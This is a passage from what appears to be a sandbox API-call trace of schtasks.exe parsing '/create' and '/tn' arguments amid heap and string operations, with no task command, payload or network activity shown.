RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b680) returned 1 [0128.422] GetProcessHeap () returned 0x10e05f40000 [0128.422] GetProcessHeap () returned 0x10e05f40000 [0128.422] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f43bb0) returned 1 [0128.422] GetProcessHeap () returned 0x10e05f40000 [0128.422] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f43bb0) returned 0x62 [0128.423] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f43bb0) returned 1 [0128.423] GetProcessHeap () returned 0x10e05f40000 [0128.423] GetProcessHeap () returned 0x10e05f40000 [0128.423] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4bb00) returned 1 [0128.423] GetProcessHeap () returned 0x10e05f40000 [0128.423] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4bb00) returned 0x20 [0128.424] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4bb00) returned 1 [0128.424] GetProcessHeap () returned 0x10e05f40000 [0128.424] GetProcessHeap () returned 0x10e05f40000 [0128.424] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44790) returned 1 [0128.424] GetProcessHeap () returned 0x10e05f40000 [0128.424] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44790) returned 0x8 [0128.424] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44790) returned 1 [0128.424] GetProcessHeap () returned 0x10e05f40000 [0128.424] GetProcessHeap () returned 0x10e05f40000 [0128.424] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b6b0) returned 1 [0128.424] GetProcessHeap () returned 0x10e05f40000 [0128.424] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b6b0) returned 0x20 [0128.424] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b6b0) returned 1 [0128.425] GetProcessHeap () returned 0x10e05f40000 [0128.425] GetProcessHeap () returned 0x10e05f40000 [0128.425] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4aa60) returned 1 [0128.425] GetProcessHeap () returned 0x10e05f40000 [0128.425] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4aa60) returned 0x10 [0128.425] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4aa60) returned 1 [0128.425] GetProcessHeap () returned 0x10e05f40000 [0128.425] GetProcessHeap () returned 0x10e05f40000 [0128.425] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b590) returned 1 [0128.425] GetProcessHeap () returned 0x10e05f40000 [0128.425] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b590) returned 0x20 [0128.425] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b590) returned 1 [0128.425] GetProcessHeap () returned 0x10e05f40000 [0128.425] GetProcessHeap () returned 0x10e05f40000 [0128.425] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f447b0) returned 1 [0128.425] GetProcessHeap () returned 0x10e05f40000 [0128.425] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f447b0) returned 0x6 [0128.426] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f447b0) returned 1 [0128.426] GetProcessHeap () returned 0x10e05f40000 [0128.426] GetProcessHeap () returned 0x10e05f40000 [0128.426] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b8c0) returned 1 [0128.426] GetProcessHeap () returned 0x10e05f40000 [0128.426] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b8c0) returned 0x20 [0128.426] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b8c0) returned 1 [0128.426] GetProcessHeap () returned 0x10e05f40000 [0128.426] GetProcessHeap () returned 0x10e05f40000 [0128.426] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44e90) returned 1 [0128.426] GetProcessHeap () returned 0x10e05f40000 [0128.426] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44e90) returned 0x18 [0128.426] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44e90) returned 1 [0128.427] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.427] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0128.427] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0128.427] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0128.427] RtlVerifyVersionInfo (VersionInfo=0x23b4fc750, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0128.427] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.427] lstrlenW (lpString="create") returned 6 [0128.427] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0128.427] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.427] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.427] lstrlenW (lpString="create") returned 6 [0128.427] GetProcessHeap () returned 0x10e05f40000 [0128.427] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b440 [0128.427] GetProcessHeap () returned 0x10e05f40000 [0128.427] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x18) returned 0x10e05f4abc0 [0128.427] _memicmp (_Buf1=0x10e05f4abc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.427] GetProcessHeap () returned 0x10e05f40000 [0128.427] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x16) returned 0x10e05f4aaa0 [0128.427] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.427] _memicmp (_Buf1=0x10e05f44c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.427] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x10e05f49b10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0128.428] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x23b4fc8a8 | out: lpdwHandle=0x23b4fc8a8) returned 0x76c [0128.428] GetProcessHeap () returned 0x10e05f40000 [0128.428] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x776) returned 0x10e05f4bd50 [0128.428] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x10e05f4bd50 | out: lpData=0x10e05f4bd50) returned 1 [0128.428] VerQueryValueW (in: pBlock=0x10e05f4bd50, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x23b4fc840, puLen=0x23b4fc8a0 | out: lplpBuffer=0x23b4fc840*=0x10e05f4c100, puLen=0x23b4fc8a0) returned 1 [0128.428] _memicmp (_Buf1=0x10e05f44c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.428] _vsnwprintf (in: _Buffer=0x10e05f49b10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x23b4fc818 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0128.428] VerQueryValueW (in: pBlock=0x10e05f4bd50, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x23b4fc830, puLen=0x23b4fc898 | out: lplpBuffer=0x23b4fc830*=0x10e05f4bf30, puLen=0x23b4fc898) returned 1 [0128.429] lstrlenW (lpString="schtasks.exe") returned 12 [0128.429] lstrlenW (lpString="schtasks.exe") returned 12 [0128.429] lstrlenW (lpString=".EXE") returned 4 [0128.429] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0128.429] lstrlenW (lpString="schtasks.exe") returned 12 [0128.429] lstrlenW (lpString=".EXE") returned 4 [0128.429] lstrlenW (lpString="schtasks") returned 8 [0128.429] lstrlenW (lpString="/create") returned 7 [0128.429] _memicmp (_Buf1=0x10e05f44c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.429] _vsnwprintf (in: _Buffer=0x10e05f49b10, _BufferCount=0x19, _Format="%s %s", _ArgList=0x23b4fc818 | out: _Buffer="schtasks /create") returned 16 [0128.429] _memicmp (_Buf1=0x10e05f44c50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.429] GetProcessHeap () returned 0x10e05f40000 [0128.429] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b500 [0128.429] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.429] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0128.429] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0128.429] GetProcessHeap () returned 0x10e05f40000 [0128.429] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x30) returned 0x10e05f44790 [0128.429] _vsnwprintf (in: _Buffer=0x10e05f43870, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x23b4fc818 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0128.429] GetProcessHeap () returned 0x10e05f40000 [0128.429] GetProcessHeap () returned 0x10e05f40000 [0128.429] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4bd50) returned 1 [0128.430] GetProcessHeap () returned 0x10e05f40000 [0128.430] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4bd50) returned 0x776 [0128.430] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4bd50) returned 1 [0128.430] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.430] GetThreadLocale () returned 0x409 [0128.430] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.430] lstrlenW (lpString="create") returned 6 [0128.430] GetThreadLocale () returned 0x409 [0128.430] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.430] lstrlenW (lpString="?") returned 1 [0128.430] GetThreadLocale () returned 0x409 [0128.430] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.431] lstrlenW (lpString="s") returned 1 [0128.431] GetThreadLocale () returned 0x409 [0128.431] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.431] lstrlenW (lpString="u") returned 1 [0128.431] GetThreadLocale () returned 0x409 [0128.431] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.431] lstrlenW (lpString="p") returned 1 [0128.431] GetThreadLocale () returned 0x409 [0128.431] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.431] lstrlenW (lpString="ru") returned 2 [0128.431] GetThreadLocale () returned 0x409 [0128.431] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.431] lstrlenW (lpString="rp") returned 2 [0128.431] GetThreadLocale () returned 0x409 [0128.431] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.431] lstrlenW (lpString="sc") returned 2 [0128.431] GetThreadLocale () returned 0x409 [0128.431] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.431] lstrlenW (lpString="mo") returned 2 [0128.431] GetThreadLocale () returned 0x409 [0128.431] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.431] lstrlenW (lpString="d") returned 1 [0128.431] GetThreadLocale () returned 0x409 [0128.431] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.431] lstrlenW (lpString="m") returned 1 [0128.431] GetThreadLocale () returned 0x409 [0128.431] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.431] lstrlenW (lpString="i") returned 1 [0128.431] GetThreadLocale () returned 0x409 [0128.431] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.431] lstrlenW (lpString="tn") returned 2 [0128.432] GetThreadLocale () returned 0x409 [0128.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.432] lstrlenW (lpString="tr") returned 2 [0128.432] GetThreadLocale () returned 0x409 [0128.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.432] lstrlenW (lpString="st") returned 2 [0128.432] GetThreadLocale () returned 0x409 [0128.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.432] lstrlenW (lpString="sd") returned 2 [0128.432] GetThreadLocale () returned 0x409 [0128.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.432] lstrlenW (lpString="ed") returned 2 [0128.432] GetThreadLocale () returned 0x409 [0128.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.432] lstrlenW (lpString="it") returned 2 [0128.432] GetThreadLocale () returned 0x409 [0128.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.432] lstrlenW (lpString="et") returned 2 [0128.432] GetThreadLocale () returned 0x409 [0128.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.432] lstrlenW (lpString="k") returned 1 [0128.432] GetThreadLocale () returned 0x409 [0128.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.432] lstrlenW (lpString="du") returned 2 [0128.432] GetThreadLocale () returned 0x409 [0128.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.432] lstrlenW (lpString="ri") returned 2 [0128.432] GetThreadLocale () returned 0x409 [0128.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.432] lstrlenW (lpString="z") returned 1 [0128.433] GetThreadLocale () returned 0x409 [0128.433] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.433] lstrlenW (lpString="f") returned 1 [0128.433] GetThreadLocale () returned 0x409 [0128.433] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.433] lstrlenW (lpString="v1") returned 2 [0128.433] GetThreadLocale () returned 0x409 [0128.433] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.433] lstrlenW (lpString="xml") returned 3 [0128.433] GetThreadLocale () returned 0x409 [0128.433] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.433] lstrlenW (lpString="ec") returned 2 [0128.433] GetThreadLocale () returned 0x409 [0128.433] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.433] lstrlenW (lpString="rl") returned 2 [0128.433] GetThreadLocale () returned 0x409 [0128.433] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.433] lstrlenW (lpString="delay") returned 5 [0128.433] GetThreadLocale () returned 0x409 [0128.433] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.433] lstrlenW (lpString="np") returned 2 [0128.433] GetThreadLocale () returned 0x409 [0128.433] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.433] lstrlenW (lpString="hresult") returned 7 [0128.433] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.433] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.433] lstrlenW (lpString="/create") returned 7 [0128.433] lstrlenW (lpString="-/") returned 2 [0128.433] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.433] lstrlenW (lpString="create") returned 6 [0128.434] lstrlenW (lpString="create") returned 6 [0128.434] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.434] lstrlenW (lpString="create") returned 6 [0128.434] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.434] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|create|") returned 8 [0128.434] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|create|") returned 8 [0128.434] lstrlenW (lpString="|create|") returned 8 [0128.434] lstrlenW (lpString="|create|") returned 8 [0128.434] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0128.434] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.434] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.434] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.434] lstrlenW (lpString="/tn") returned 3 [0128.434] lstrlenW (lpString="-/") returned 2 [0128.434] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.434] lstrlenW (lpString="create") returned 6 [0128.434] lstrlenW (lpString="create") returned 6 [0128.434] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.434] lstrlenW (lpString="tn") returned 2 [0128.434] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.434] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|create|") returned 8 [0128.434] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tn|") returned 4 [0128.434] lstrlenW (lpString="|create|") returned 8 [0128.434] lstrlenW (lpString="|tn|") returned 4 [0128.435] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0128.435] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.435] lstrlenW (lpString="?") returned 1 [0128.435] lstrlenW (lpString="?") returned 1 [0128.435] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.435] lstrlenW (lpString="tn") returned 2 [0128.435] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.435] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|?|") returned 3 [0128.435] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tn|") returned 4 [0128.435] lstrlenW (lpString="|?|") returned 3 [0128.435] lstrlenW (lpString="|tn|") returned 4 [0128.435] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.435] lstrlenW (lpString="s") returned 1 [0128.435] lstrlenW (lpString="s") returned 1 [0128.435] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.435] lstrlenW (lpString="tn") returned 2 [0128.435] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.435] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|s|") returned 3 [0128.435] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tn|") returned 4 [0128.435] lstrlenW (lpString="|s|") returned 3 [0128.435] lstrlenW (lpString="|tn|") returned 4 [0128.435] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.435] lstrlenW (lpString="u") returned 1 [0128.435] lstrlenW (lpString="u") returned 1 [0128.435] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.435] lstrlenW (lpString="tn") returned 2 [0128.435] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.436] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|u|") returned 3 [0128.436] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tn|") returned 4 [0128.436] lstrlenW (lpString="|u|") returned 3 [0128.436] lstrlenW (lpString="|tn|") returned 4 [0128.436] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.436] lstrlenW (lpString="p") returned 1 [0128.436] lstrlenW (lpString="p") returned 1 [0128.436] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.436] lstrlenW (lpString="tn") returned 2 [0128.436] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.436] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|p|") returned 3 [0128.436] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tn|") returned 4 [0128.436] lstrlenW (lpString="|p|") returned 3 [0128.436] lstrlenW (lpString="|tn|") returned 4 [0128.436] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.436] lstrlenW (lpString="ru") returned 2 [0128.436] lstrlenW (lpString="ru") returned 2 [0128.436] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.436] lstrlenW (lpString="tn") returned 2 [0128.436] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.436] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|ru|") returned 4 [0128.436] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tn|") returned 4 [0128.436] lstrlenW (lpString="|ru|") returned 4 [0128.436] lstrlenW (lpString="|tn|") returned 4 [0128.436] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0128.436] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.437] lstrlenW (lpString="rp") returned 2 [0128.437] lstrlenW (lpString="rp") returned 2 [0128.437] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.437] lstrlenW (lpString="tn") returned 2 [0128.437] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.437] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rp|") returned 4 [0128.437] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tn|") returned 4 [0128.437] lstrlenW (lpString="|rp|") returned 4 [0128.437] lstrlenW (lpString="|tn|") returned 4 [0128.437] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0128.437] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.437] lstrlenW (lpString="sc") returned 2 [0128.437] lstrlenW (lpString="sc") returned 2 [0128.437] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.437] lstrlenW (lpString="tn") returned 2 [0128.437] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.437] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|sc|") returned 4 [0128.437] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tn|") returned 4 [0128.437] lstrlenW (lpString="|sc|") returned 4 [0128.437] lstrlenW (lpString="|tn|") returned 4 [0128.437] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0128.437] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.437] lstrlenW (lpString="mo") returned 2 [0128.437] lstrlenW (lpString="mo") returned 2 [0128.437] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.437] lstrlenW (lpString="tn") returned 2 [0128.438] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.438] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|mo|") returned 4 [0128.438] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tn|") returned 4 [0128.438] lstrlenW (lpString="|mo|") returned 4 [0128.438] lstrlenW (lpString="|tn|") returned 4 [0128.438] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0128.438] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.438] lstrlenW (lpString="d") returned 1 [0128.438] lstrlenW (lpString="d") returned 1 [0128.438] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.438] lstrlenW (lpString="tn") returned 2 [0128.438] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.438] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|d|") returned 3 [0128.438] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tn|") returned 4 [0128.438] lstrlenW (lpString="|d|") returned 3 [0128.438] lstrlenW (lpString="|tn|") returned 4 [0128.438] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.438] lstrlenW (lpString="m") returned 1 [0128.438] lstrlenW (lpString="m") returned 1 [0128.438] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.438] lstrlenW (lpString="tn") returned 2 [0128.438] _memicmp (_Buf1=0x10e05f44390, 